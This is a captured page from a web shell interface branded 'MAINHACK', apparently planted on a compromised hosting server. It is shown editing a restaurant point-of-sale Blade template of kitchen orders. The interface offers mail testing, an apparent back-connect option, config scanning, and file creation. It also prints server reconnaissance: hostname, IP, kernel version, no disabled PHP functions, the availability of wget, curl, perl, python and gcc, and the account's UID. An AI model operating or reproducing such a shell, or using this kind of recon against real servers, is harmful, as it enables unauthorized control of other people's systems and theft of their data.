[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: show_orders.blade.php
@forelse($orders as $order) <div class="col-md-3 col-xs-6 order_div"> <div class="small-box bg-gray"> <div class="inner"> <h4 class="text-center">#{{$order->invoice_no}}</h4> <table class="table no-margin no-border table-slim"> <tr><th>@lang('restaurant.placed_at')</th><td>{{@format_date($order->created_at)}} {{ @format_time($order->created_at)}}</td></tr> <tr><th>@lang('restaurant.order_status')</th> @php $count_sell_line = count($order->sell_lines); $count_cooked = count($order->sell_lines->where('res_line_order_status', 'cooked')); $count_served = count($order->sell_lines->where('res_line_order_status', 'served')); $order_status = 'received'; if($count_cooked == $count_sell_line) { $order_status = 'cooked'; } else if($count_served == $count_sell_line) { $order_status = 'served'; } else if ($count_served > 0 && $count_served < $count_sell_line) { $order_status = 'partial_served'; } else if ($count_cooked > 0 && $count_cooked < $count_sell_line) { $order_status = 'partial_cooked'; } @endphp <td><span class="label @if($order_status == 'cooked' ) bg-red @elseif($order_status == 'served') bg-green @elseif($order_status == 'partial_cooked') bg-orange @else bg-light-blue @endif">@lang('restaurant.order_statuses.' . $order_status) </span></td> </tr> <tr><th>@lang('contact.customer')</th><td>{{$order->customer_name}}</td></tr> <tr><th>@lang('restaurant.table')</th><td>{{$order->table_name}}</td></tr> <tr><th>@lang('sale.location')</th><td>{{$order->business_location}}</td></tr> </table> </div> @if($orders_for == 'kitchen') <a href="#" class="btn btn-flat small-box-footer bg-yellow mark_as_cooked_btn" data-href="{{action([\App\Http\Controllers\Restaurant\KitchenController::class, 'markAsCooked'], [$order->id])}}"><i class="fa fa-check-square-o"></i> @lang('restaurant.mark_as_cooked')</a> @elseif($orders_for == 'waiter' && $order->res_order_status != 'served') <a href="#" class="btn btn-flat small-box-footer bg-yellow mark_as_served_btn" data-href="{{action([\App\Http\Controllers\Restaurant\OrderController::class, 'markAsServed'], [$order->id])}}"><i class="fa fa-check-square-o"></i> @lang('restaurant.mark_as_served')</a> @else <div class="small-box-footer bg-gray"> </div> @endif <a href="#" class="btn btn-flat small-box-footer bg-info btn-modal" data-href="{{ action([\App\Http\Controllers\SellController::class, 'show'], [$order->id])}}" data-container=".view_modal">@lang('restaurant.order_details') <i class="fa fa-arrow-circle-right"></i></a> </div> </div> @if($loop->iteration % 4 == 0) <div class="hidden-xs"> <div class="clearfix"></div> </div> @endif @if($loop->iteration % 2 == 0) <div class="visible-xs"> <div class="clearfix"></div> </div> @endif @empty <div class="col-md-12"> <h4 class="text-center">@lang('restaurant.no_orders_found')</h4> </div> @endforelse
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285